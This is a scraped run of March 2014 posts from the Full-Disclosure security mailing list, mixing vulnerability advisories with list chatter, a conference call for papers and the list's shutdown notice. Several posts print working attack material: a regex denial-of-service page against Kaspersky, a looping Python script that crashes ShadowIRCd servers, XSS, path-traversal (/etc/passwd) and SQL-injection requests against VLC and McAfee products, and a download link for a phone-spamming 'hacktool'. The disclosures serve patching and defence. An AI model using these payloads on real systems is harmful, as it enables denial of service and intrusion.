[Full-disclosure] All your PLC are belong to us (2)

2014-03-19 Thread scadastrangelove
Fixes for Siemens S7 1500 PLC are published.
Thanks to Yury Goltsev https://twitter.com/ygoltsev, Ilya Karpov, Alexey
Osipov https://twitter.com/GiftsUngiven, Dmitry
Serebryannikovhttps://twitter.com/dsrbrand Alex
Timorin https://twitter.com/atimorin.
There are a lot of, but Authentication bypass (INSUFFICIENT
ENTROPY/CVE-2014-2251) is the best.

Links: 
http://scadastrangelove.blogspot.com/2014/03/all-your-plc-are-belong-to-us-2.html


More details are pending.

Regards,
SCADA StrangeLove team
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Kaspersky 14.0.0.4651 RegExp Remote Denial of Service PoC2

2014-03-19 Thread [CXSEC]
Kaspersky has released updated for first PoC presented here

http://www.youtube.com/watch?v=joa_9IS7U90 (
http://seclists.org/fulldisclosure/2014/Mar/166)

but there are still many combinations of evil patterns. For exmaple next
PoC2 is available here

https://www.youtube.com/watch?v=9PYtL0zck3I

code:
https://devilteam.pl/regex2.html

--
HTML
HEAD
TITLERegExp Resource Exhaustion /TITLE
/HEAD
BODY BGCOLOR=#FF
SCRIPT type=text/javascript
var patt1=new
RegExp((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+));
document.write(patt1.exec(peace));
/SCRIPT
/BODY
/HTML
--

These expression leads to hang up kaspersky process by CPU Exhaustion.
 Making it impossible to shut down and restart Kaspersky GUI.
A weak implementation of RE difficult defense against this type of attack.
In my opinion the most stable implementation of regular expressions is
NetBSD/OpenBSD where the authors have reduced the risk of leakage of
resources by the level of recursion.

References:
http://cxsecurity.com/issue/WLB-2014030108

Best regards,
CXSEC TEAM
http://cxsec.org/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC

2014-03-19 Thread Leutnant Steiner
http://thehackernews.com/2014/03/watch-out-scammers-targeting-google.html


2014-03-17 20:44 GMT+01:00 The Doctor dr...@virtadpt.net:

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA512

 On 03/15/2014 02:52 PM, Stefan Jon Silverman wrote:
  Running ... out ... of ... popcorn -- must .. resupply ...

 While this inspiring and amusing thread has been going on, what
 happened that we missed because we were too busy watching the fur fly?

 - --
 The Doctor [412/724/301/703] [ZS]

 PGP: 0x807B17C1 / 7960 1CDC 85C9 0B63 8D9F  DD89 3BD8 FF2B 807B 17C1
 WWW: https://drwho.virtadpt.net/

 IHOP: The world's largest, most popular goth club.

 -BEGIN PGP SIGNATURE-
 Version: GnuPG v2.0.22 (GNU/Linux)
 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

 iEYEAREKAAYFAlMnUIoACgkQO9j/K4B7F8H9qACg206K0zsz7Eyv7Whu7UUB3zkn
 lNEAnjuoLXknIuKXFrVQwhPFJmjLx6ln
 =wWkp
 -END PGP SIGNATURE-

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
Disclaimer: This communication may contain confidential, proprietary or
legally privileged information. It is intended only for the person(s) to
whom it is addressed. If you are not an intended recipient, you may not
use, read, retransmit, disseminate or take any action in reliance upon it.
Please notify the sender that you have received it in error and immediately
delete the entire communication, including any attachments. I do not
encrypt and cannot ensure the confidentiality or integrity of external
e-mail communications and, therefore, I cannot be responsible for any
unauthorized access, disclosure, use or tampering that may occur during
transmission. If you are not the intended recipient you are notified that
disclosing, copying, distributing or taking any action in reliance on the
contents of this information is strictly prohibited. I accept no liability
for the content of this email, or for the consequences of any actions taken
on the basis of the information provided.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] USSD Sender Hacktool 1.0

2014-03-19 Thread AWeber Test
What is USSD?
USSD stands for Unstructured Supplementary Service Data and it's mostly use to 
make requests to a mobile operator. If you want to check how much money you 
have on your mobile sim card you can use a USSD Command for that. Entering for 
example *#100# to the vodafone network, you will receive an USSD message as a 
result.

USSD Sender Hacktool is a complex tool that let any web user to send a text 
message in a USSD command to any number. By default the message is You have 
been hacked! but you can send any text. In the target phone a message will pop 
up with the text and a OK button. If it get's undelivered an actual sms will be 
send.

Screen Shot:
http://i492.photobucket.com/albums/rr287/tribalmp/USSDSenderHacktool.jpg

Download:
http://www.firedrive.com/file/C961587BD8BCD4C9___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Administrivia: The End

2014-03-19 Thread John Cartwright
Hi

When Len and I created the Full-Disclosure list way back in July 2002,
we knew that we'd have our fair share of legal troubles along the way.  
We were right.  To date we've had all sorts of requests to delete 
things, requests not to delete things, and a variety of legal threats 
both valid or otherwise.  However, I always assumed that the turning 
point would be a sweeping request for large-scale deletion of 
information that some vendor or other had taken exception to.

I never imagined that request might come from a researcher within the 
'community' itself (and I use that word loosely in modern times).  But 
today, having spent a fair amount of time dealing with complaints from 
a particular individual (who shall remain nameless) I realised that 
I'm done.  The list has had its fair share of trolling, flooding, 
furry porn, fake exploits and DoS attacks over the years, but none of 
those things really affected the integrity of the list itself.  
However, taking a virtual hatchet to the list archives on the whim of 
an individual just doesn't feel right.  That 'one of our own' would 
undermine the efforts of the last 12 years is really the straw that 
broke the camel's back.

I'm not willing to fight this fight any longer.  It's getting harder 
to operate an open forum in today's legal climate, let alone a 
security-related one.  There is no honour amongst hackers any more.  
There is no real community.  There is precious little skill.  The 
entire security game is becoming more and more regulated.  This is all 
a sign of things to come, and a reflection on the sad state of an 
industry that should never have become an industry.

I'm suspending service indefinitely.  Thanks for playing.

Cheers
- John

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


[Full-disclosure] Emergency patch for ShadowIRCd versions 6.3+ and Elemental-IRCd 6.5+

2014-03-18 Thread Sam Dodrill
Emergency patch for ShadowIRCd versions 6.3+ and Elemental-IRCd 6.5+

A vulnerability has been discovered in Elemental-IRCd/ShadowIRCd all the
way back to version 6.3. If a client does a SASL authentication before the
server is ready for it, a race condition will be met and the ircd will
segfault to an address out of bounds error. The attached exploit, ku.py is
pasted below:

#!/usr/bin/python2
# Live exploit for ShadowIRCd 6.3+, remote segfault that can
# take out other daemons in the network.

import base64
import socket

SERVER = irc.example.com
NICK = Shi # death
PASS = ku  # suffering

while True:
s_link = socket.socket()

s_link.connect((SERVER, 6667))

s_link.send(CAP REQ :sasl\r\n)
s_link.send(AUTHENTICATE PLAIN\r\n)
s_link.send(AUTHENTICATE %s %
(base64.b64encode(%s\0%s\0%s % (NICK, NICK, PASS
s_link.send(CAP END)
s_link.send(NICK %s\r\n % NICK)
s_link.send(USER a a a a a\r\n)

try:
for line in s_link.makefile(r):
print line
except:
continue

Earlier versions of this were called shi.py and its source (adapted from
the original code of the person who reported the bug to me) is available
here: https://gist.github.com/lyska/89eacfc21903a50a0e93

Testing has shown that if the following patch is not applied, any
unregistered user may segfault off any ircd, including hub daemons or
sometimes an ircd on the other side of the network; provided they have a
valid account with services. This is a heisenbug and will resist attempts
to reproduce, but keep running it. It will kill something eventually.

The cause of this is an unmet race condition in modules/m_sasl.c. The SASL
authentication spec says that an authentication session must go like this
(taken from the documentation):

C: CAP REQ :sasl
C: NICK jilles
C: USER jilles cheetah.stack.nl 1 :Jilles Tjoelker
S: NOTICE AUTH :*** Processing connection to jaguar.test
S: NOTICE AUTH :*** Looking up your hostname...
S: NOTICE AUTH :*** Checking Ident
S: NOTICE AUTH :*** No Ident response
S: NOTICE AUTH :*** Found your hostname
S: :jaguar.test CAP jilles ACK :sasl
C: AUTHENTICATE PLAIN
S: AUTHENTICATE +
C: AUTHENTICATE amlsbGVzAGppbGxlcwBzZXNhbWU=
S: :jaguar.test 900 jilles jilles!jil...@localhost.stack.nl jilles :You
are now logged in as jilles.
S: :jaguar.test 903 jilles :SASL authentication successful
C: CAP END
S: :jaguar.test 001 jilles :Welcome to the jillestest Internet Relay
Chat Network jilles
(usual welcome messages)

However, if a user does this:

C: CAP REQ :sasl
S: :my.testnet NOTICE * :*** Looking up your hostname...
S: :my.testnet NOTICE * :*** Checking Ident
S: :my.testnet NOTICE * :*** Found your hostname
S: :my.testnet NOTICE * :*** No Ident response
S: :my.testnet CAP * ACK :sasl
C: AUTHENTICATE PLAIN
C: AUTHENTICATE U3RhcmJvdW5kAFN0YXJib3VuZAA1K0By
C: CAP END
S: AUTHENTICATE +
S: :my.testnet 903 * :SASL authentication successful

The daemon immediately segfaults after that 903. A backtrace of the core
dump will look like the following:
https://gist.github.com/lyska/f1c93e86917dfef958fb.

The affected code in modules/m_sasl.c is as follows (spacing has been
fixed):

static int server_auth_sasl(struct Client *client_p)
{
char *auth_user;

if (client_p-localClient-auth_user)
{
memset(client_p-localClient-auth_user, 0,
strlen(client_p-localClient-auth_user));
rb_free(client_p-localClient-auth_user);
client_p-localClient-auth_user = NULL;
}

auth_user = rb_strndup(client_p-user-suser, PASSWDLEN);

/* pointless check here */
if (auth_user)
client_p-localClient-auth_user = rb_strndup(auth_user,
PASSWDLEN);

return 0;
}

When a client attempts to do a SASL authentication too quickly (like
demonstrated in ku.py), the ircd sometimes segfaults and can take out its
uplink too. This is because the `auth_user` field in
`client_p-localClient` gets set to uninitialized stack memory.

From linked file `sparkle.bt`, line 10:

auth_user = 0x516c0d05e40  \331\264(\306p

This is definitely not the plain ASCII that it is expecting, nor at the
expected length. Luckily, this issue is completely in a module and it can
be applied with zero downtime if you apply this patch and follow the below
directions:

diff --git a/modules/m_sasl.c b/modules/m_sasl.c
index cbc5c77..fadddf7 100644
--- a/modules/m_sasl.c
+++ b/modules/m_sasl.c
@@ -162,7 +162,7 @@ me_sasl(struct Client *client_p, struct Client
*source_p,
sendto_one(target_p, form_str(RPL_SASLSUCCESS),
me.name, EmptyString(target_p-name) ? * : target_p-name);
target_p-preClient-sasl_complete = 1;

Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC

2014-03-18 Thread The Doctor
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

On 03/15/2014 02:52 PM, Stefan Jon Silverman wrote:
 Running ... out ... of ... popcorn -- must .. resupply ...

While this inspiring and amusing thread has been going on, what
happened that we missed because we were too busy watching the fur fly?

- -- 
The Doctor [412/724/301/703] [ZS]

PGP: 0x807B17C1 / 7960 1CDC 85C9 0B63 8D9F  DD89 3BD8 FF2B 807B 17C1
WWW: https://drwho.virtadpt.net/

IHOP: The world's largest, most popular goth club.

-BEGIN PGP SIGNATURE-
Version: GnuPG v2.0.22 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iEYEAREKAAYFAlMnUIoACgkQO9j/K4B7F8H9qACg206K0zsz7Eyv7Whu7UUB3zkn
lNEAnjuoLXknIuKXFrVQwhPFJmjLx6ln
=wWkp
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


[Full-disclosure] CEbot: disasm from your Twitter account

2014-03-18 Thread Capstone Engine
Hi,

We are running CEbot, a tool that lets you reverse hexcode from your own
Twitter!

How? Do this in 2 easy steps:

- Tweet your hex string with either hashtag #2ce (read as:
To-Capstone-Engine), or #cebot.
- Wait 1~2 seconds, the assembly code will be sent back, also via Twitter.
Be sure to check the Notifications tab if you do not see it soon enough.


Few examples on tweets accepted by CEbot:

x32 909090 #2ce
Reverse x86 32-bit code with hex-string of 3 bytes 909090. The result
sent back would be 3 NOP instructions.

x64 att 0x90 0x90 0x90 #2ce
Reverse x86-64 code with hex-string of the same 3 bytes, but get back
assembly in ATT syntax.

arm #2ce \x04\xe0\x2d\xe5
Reverse ARM code. Note that the hashtag can be put anywhere in the
tweet.

m64 be 0C,10,00,97 #2ce
Reverse Mips 64-bit code in big-endian mode.


For further details, see http://capstone-engine.org/bot.html

This is mainly for fun, but hopefully it can be useful for those who are on
Twitter all the time :-)
Any suggestions, let us know.

Cheers,
Capstone Engine
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] (CFP) LACSEC 2014: Cancun, Mexico. May 7-8, 2014 (EXTENDED DEADLINE)

2014-03-18 Thread Fernando Gont
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

-  cut here 
***
   CALL FOR PRESENTATIONS
***
LACSEC 2014
9th Network Security Event for Latin America and the Caribbean
   May 4-9, 2014, Cancun, Mexico
   http://www.lacnic.net/en/web/eventos/lacnic21


LACNIC (http://www.lacnic.net) is the international organization based
in (Uruguay) that is responsible for the administration of the IP
address space, Reverse Resolution, Autonomous System Numbers and other
resources for the Latin American and the Caribbean region on behalf of
the Internet community.

The 9th Network Security Event for Latin America and the Caribbean
will be held in Cancun, Mexico, within the framework of LACNIC's
eighteenth annual meeting (LACNIC XXI). This is a public call for
presentations for that event.

The topics of interest include, but are not limited to, the following:

* Honeypots, network monitoring and situational awareness tools in
general.
* Fighting spam, particularly spam from origin (SPF, DKIM and related
technologies. Email reputation)
* Fighting phishing and pharming
* Fighting malware
* Internet protocol security
* IPv6 security
* DNSsec
* Security of network infrastructure services (DNS, NTP, etc.)
* Web security
* DoS/DDoS response and mitigation, botnets
* Authentication and access control
* Security in the cloud
* Critical infrastructure protection
* Mobile systems security
* Computer security incident response teams (CSIRTs): creation,
management, experiences
* Security in corporate environments, compliance and auditing, return on
information security investments
* Security management (procedures, operational logs, records, etc.)
* Risk management in Information Security
* Computer forensics
* Protection of privacy
* Legal aspects related to information security


Guidelines for Presenting Proposals

Proposals for the 9th Network Security Event for Latin America and the
Caribbean  (LACSEC 2014) must be presented taking into account the
following considerations:

* The proposal should consist of a paper, or (alternatively) an Extended
Abstract plus a draft version of the slides to be used during the
presentation.
* Proposals may be presented in English, Portuguese or Spanish.
* Proposals must be submitted in Portable Document Format (PDF)
* Submissions must be created directly using a word processing system
(scanned articles will not be accepted)
* Presentations may not be longer than 30 minutes


Submitting a Proposal

Those interested in presenting at LACSEC 2014 must send the following
information to comite_seguri...@lacnic.net within the deadlines set
forth below:

* Full title of the presentation
* A paper or, alternatively, an Extended Abstract and a draft of the
slides to be used during the presentation. The paper should not be
longer than 10 pages. The extended abstract should not contain more than
one thousand (1000) words. The Evaluation Committee may, at its sole
discretion, request additional or complementary information.
* Full name, email address and organization with which the author (or
authors) of the submission is affiliated

Note: Presentation proposals that do not follow the guidelines of this
CFP will not be considered during the presentation selection process.

For more information, please do not hesitate to contact the Evaluation
Committee at comite_seguri...@lacnic.net.


Proposal Evaluation

The Evaluation Committee created for this purpose will evaluate
proposals based on the following basic criteria:

* Originality
* Technical quality
* Relevance
* Presentation
* Applicability


Speaker's Privileges

Authors whose proposals result accepted will receive:

* Return-flight to Cancun, Mexico (reimbursement of up to 1200 USD)
* Accommodation (up to three nights) at the conference venue
* Free registration to the LACNIC XXI event


IMPORTANT DATES

* Deadline for proposals submission: March 31st, 2014
* Notification of acceptance: April 6th, 2014
* Deadline for submitting the final version the presentation: May 4th,
2014

9th Network Security Event for Latin America and the Caribbean
(LACSEC 2014)

Chair
  Fernando Gont (SI6 Networks/UTN-FRH, Argentina)

Evaluation Committee
  Iván Arce (Fundación Sadosky, Argentina)
  Carlos A. Ayala Rocha (Arbor Networks, Mexico)
  Julio César Balderrama (Consultant, Argentina)
  Matthias Bethke (Zonarix S.A., Ecuador)
  Eduardo Carozo (ITC-Antel, Uruguay)
  Jeimy J. Cano M. (Fac. de Derecho, U. de los Andes, Colombia)
  Giovanni Cruz Forero (CSIETE, Colombia)
  Lorena Ferreyro (Consultant, Argentina)
  Javier Liendo (Cisco Mexico, Cisco)
  Carlos Martinez-Cagnazzo (LACNIC, Uruguay)
  Hernan Ochoa (Amplia Security, Argentina)
  James Pichardo (DO-CSIRT, Dominican Republic)
  Patricia Prandini (Posg. en Seg. Informática, UBA, Argentina)
  

[Full-disclosure] [Quantum Leap Advisory] #QLA140216 - VLC Reflected XSS vulnerability

2014-03-18 Thread Francesco Perna

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
 
=== Details ===
Advisory: http://www.quantumleap.it/vlc-reflected-xss-vulnerability/
Affected Product: VLC
Version: 2.1.3 (older versions may be affected too)

=== Executive Summary ===
Using a specially crafted HTTP request, it is possible to exploit a lack
in the neutralization[1] of the error pages output which includes the
user submitted content. Successful exploitation of the vulnerabilities,
results in the execution of arbitrary HTML and script code in user?s
browser in context of the vulnerable website trough a ?Reflected XSS?

=== Proof of Concept ===
It has been discovered a reflected XSS vulnerability on error page in
VLC Web Interface. The function ?httpd_HtmlError? in file
?src/network/httpd.c? doesn?t sanitize the ?url? parameter, so an XSS
attack can be executed. Below you can find a proof of concept of the
vulnerability:

GET /tescriptalert(?XSS?);/scriptst HTTP/1.1
Host: 192.168.1.101:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101
Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic OmNpYW8=
Connection: keep-alive

=== Solution ===
To quickly fix the security issue, in our Customer?s environment, we
wrote the following small patch:

patch
? httpd.c2014-02-14 15:24:55.393978968 +0100
+++ httpd.patched.c2014-02-14 15:24:44.404625054 +0100
@@ -256,9 +256,12 @@ static const char *httpd_ReasonFromCode(static
size_t httpd_HtmlError (char **body, int code, const char *url)
{
+char *url_Encoded = NULL;
const char *errname = httpd_ReasonFromCode (code);
assert (errname != NULL);+url_Encoded = convert_xml_special_chars
(url ? url : ??);
+
int res = asprintf (body,
??xml version=?1.0? encoding=?ascii? ?n?
?!DOCTYPE html PUBLIC ?-//W3C//DTD XHTML 1.0 Strict//EN?
@@ -273,7 +276,9 @@ static size_t httpd_HtmlError (char **bo
?a href=?http://www.videolan.org?VideoLAN/an?
?/bodyn?
?/htmln?, errname, code, errname,
- -(url ? ? (? : ??), (url ? url : ??), (url ? ?)? : ??));
+(url_Encoded ? ? (? : ??), (url_Encoded ? url_Encoded : ??),
(url_Encoded ? ?)? : ??));
+
+free (url_Encoded);if (res == -1)
{
/patch

This patch has been merged with the Main Line of the VLC GIT
repository[2],  it will be officially released in the build 2.2.0

=== Disclosoure Timeline ===

2013-12-02 ? Vulnerability Discovered
2014-02-15 ? Initial vendor notification
2014-02-20 ? The vendor fixed the vulnerability
2014-03-18 ? Public advisory

=== Discovered by ===
Vulnerability discovered by Francesco Perna and Pietro Minniti of
Quantum Leap s.r.l

=== References ===
[1]
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
[2]
http://git.videolan.org/?p=vlc.git;a=commit;h=fe5063ec5ad1873039ea719eb1f137c8f3bda84b

- -- 
Francesco Perna
Quantum Leap SRL
Sede Legale: Via Colle Scorrano n.5 65100 Pescara (PE)
Sede Operativa: Circonvallazione Cornelia n. 125, 00165 Roma (RM)
-BEGIN PGP SIGNATURE-
Version: GnuPG v2.0.17 (MingW32)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/
 
iQEbBAEBAgAGBQJTKD4tAAoJEPBLO12s/SuDhEMH+K7vy+JqXc47ADWCmyokJ3Bu
8VOZOH9lxt2wyHOD5tlf4tIQv6vQ2adGuSps16OIHRJ0KZ32PSJmBogHtPAsXFwP
i8ubs7Co6lNVwbfLGz5TQkZw+lfudUJ3VEaEHRtxEEao2mb7YcafmRFMV+rsdB+E
mgXdMy85G9tU/TDwi0//KBXCXmSFAHlEsaVlNVhqAUz3Eyg4hk9jOjaDat7ESt5Y
yfd3uSO2yWthI6gJH2cLI5Y1R1L5zr4/raxM44/lZHm+XFOviiiX2L/NNpedwnn6
Ax8y38AvQ8gFYvDtY+0tP4vBRrRAwzvGIZgSKdmeNMK+CpUvr+hZX53zVpTCPA==
=sPV+
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


[Full-disclosure] McAfee Cloud SSO and McAfee Asset Manager vulns

2014-03-18 Thread Brandon Perry
   1. Cloud SSO is vuln to unauthed XSS in the authentication audit form:
   2.


   1. https://twitter.com/BrandonPrry/status/445969380656943104
   2.


   1.
   2. McAfee Asset Manager v6.6 multiple vulnerabilities
   3.
   4. http://www.mcafee.com/us/products/asset-manager.aspx
   5.
   6. Authenticated arbitrary file read
   7. An unprivileged authenticated user can download arbitrary files with
   the permissions of the web server using the report download functionality.
   By generating a report, the user's browser will make a request to
   /servlet/downloadReport?reportFileName=blah. The user can put in a relative
   directory traversal attack and download /etc/passwd.
   8.
   9. GET
   
/servlet/downloadReport?reportFileName=../../../../../../../../etc/passwdformat=CSV
   HTTP/1.1
   10. Host: 172.31.16.167
   11. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0)
   Gecko/20100101 Firefox/26.0
   12. Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   13. Accept-Language: en-US,en;q=0.5
   14. Accept-Encoding: gzip, deflate
   15. Referer:
   
https://172.31.16.167/Inventory?filterColumns=curViewId=-1maintainQuery=trueformat=searchcollectorId=nullcriticality=0pageNum=1location=InventoryviewSelect=-99filterValueField=orderBy=FIREWALLEDorderBy2=SITEorderBy3=CRITICALITY_NAMEwsz=200wszCtrl_1=200action=AUDIT_REDISCOVERformatSelect=
   16. Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
   17. Connection: keep-alive
   18.
   19.
   20.
   21.
   22.
   23. Authenticated SQL injection
   24. An unprivileged authenticated user can initiate a SQL injection
   attack by creating an audit report and controlling the username specified
   in the audit report. In the below request, the 'user' parameter is
   susceptible to the SQL injection:
   25.
   26. POST /jsp/reports/ReportsAudit.jsp HTTP/1.1
   27. Host: 172.31.16.167
   28. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0)
   Gecko/20100101 Firefox/26.0
   29. Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   30. Accept-Language: en-US,en;q=0.5
   31. Accept-Encoding: gzip, deflate
   32. Referer: https://172.31.16.167/jsp/reports/ReportsAudit.jsp
   33. Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
   34. Connection: keep-alive
   35. Content-Type: application/x-www-form-urlencoded
   36. Content-Length: 91
   37.
   38.
   
fromDate=03-19-2014toDate=03-19-2014freetext=Severity=0AuditType=12user=Administrator


-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Bank of the West security contact?

2014-03-18 Thread Florian Weimer
* Kristian Erik Hermansen:

 Anyone have security contact at Bank of the West?

Is this an issue with their online banking?  Then here's a hint:

/**
 **
 *  Copyright ©2005  Corillian Corporation*
 **
 *  All rights reserved.  *
 **
 *  Highly Confidential.  *
 **
 *  No portion of this code may be reproduced,*
 *  transmitted or distributed without the express*
 *  written permission of Corillian Corporation.  *
 **
 **/

Corillian is now Fiserv, and here's another hint:

http://investors.fiserv.com/releasedetail.cfm?releaseid=667216

If you suspect a software vulnerability in their online banking
application, you should contact Fiserv.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Bank of the West security contact?

2014-03-18 Thread Jeffrey Walton
On Mon, Mar 17, 2014 at 12:37 PM, Jeffrey Walton noloa...@gmail.com wrote:
 On Mon, Mar 17, 2014 at 12:15 PM, Kristian Erik Hermansen
 kristian.herman...@gmail.com wrote:
 Just wanted to post a follow-up to this and provide some context to
 make it known:

 * Bank of the West was contacted in 2011 to report a security issue

 * No response for 2 years

 * In late 2013, I receive a breach notification saying my own
 sensitive personal information was compromised via the EXACT SAME
 ISSUES I REPORTED. I also am led to believe employee information was
 compromised, which may include Social Security Number (SSN) details.

 Conclusions?

 * Bank of the West has NO WORKING SECURITY REPORTING MECHANISM for
 outside researchers and NO BUG BOUNTY PROGRAM

 * Bank of the West does not seem to take security and privacy
 seriously enough, as far as I can tell

 You should know this if you are an existing or potential customer /
 employee of Bank of the West...
 The risk equations favor do nothing. Its cost effective to simply
 persue profits and not spend money on data security.

 If (when) they are breached, it only costs them the cost of a
 notification. In the US, that's the cost of bulk mail [0]. 46 states,
 DC, and Territories have Data Breach laws, and nearly none (none?)
 have any useful provisions for damages. [1]

 You can't recover for your time lost or services like credit
 monitoring. Every class action get tossed out [2]. I've never seen one
 go to court, and I've been watching them for years.
I might just stand corrected here (if it withstands appeal):

http://www.slyck.com/story2351_Data_Breach_Settlement_Class_Action_Lawsuit_Wins_Appeal_in_Court:

With so many recent data breaches and lacking security measures in
place, we know that there are likely to be many more lawsuits
forthcoming. However, in what’s believed to be a first win for a class
action lawsuit as a result of a data breach where none of the
plaintiffs suffered identify theft or direct losses, AvMed, a
Florida-based health insurer, lost its case in court to the tune of a
$3 million settlement agreement. On February 21, 2014, a federal judge
in the Southern District of Florida approved an Order granting motion
for final approval of a Class Action Settlement Agreement, and filed a
motion for attorneys' fees and expenses, as well as for incentive
awards.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-17 Thread Pedro Ribeiro
On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote:

 The thread read Google vulnerabilities with PoC. From my understanding
 it was a RFI vulnerability on YouTube, and I voiced my support that this
is a vulnerability.

 I also explained a JSON Hijacking case as a follow up, and you said you
didn't follow.  So I am just saying that treating security that way, there
are other parties like NSA who welcome them happily.


I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock
puppets.

They are all first time posters from unusual free email providers jumping
to defend the OP out of nowhere. If you search Google for their emails you
only find references to this thread.

They present similar (false and /or incorrect) arguments, talk about their
extensive work experience, bash Google and its security team and send
repeated emails with exactly the same text.

This is turning into a madhouse... I hope this guy doesn't have access to a
gun.

Regards
Pedro
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [CVE-2014-2339] GNUboard SQL Injection Vulnerability

2014-03-17 Thread claepo.wang
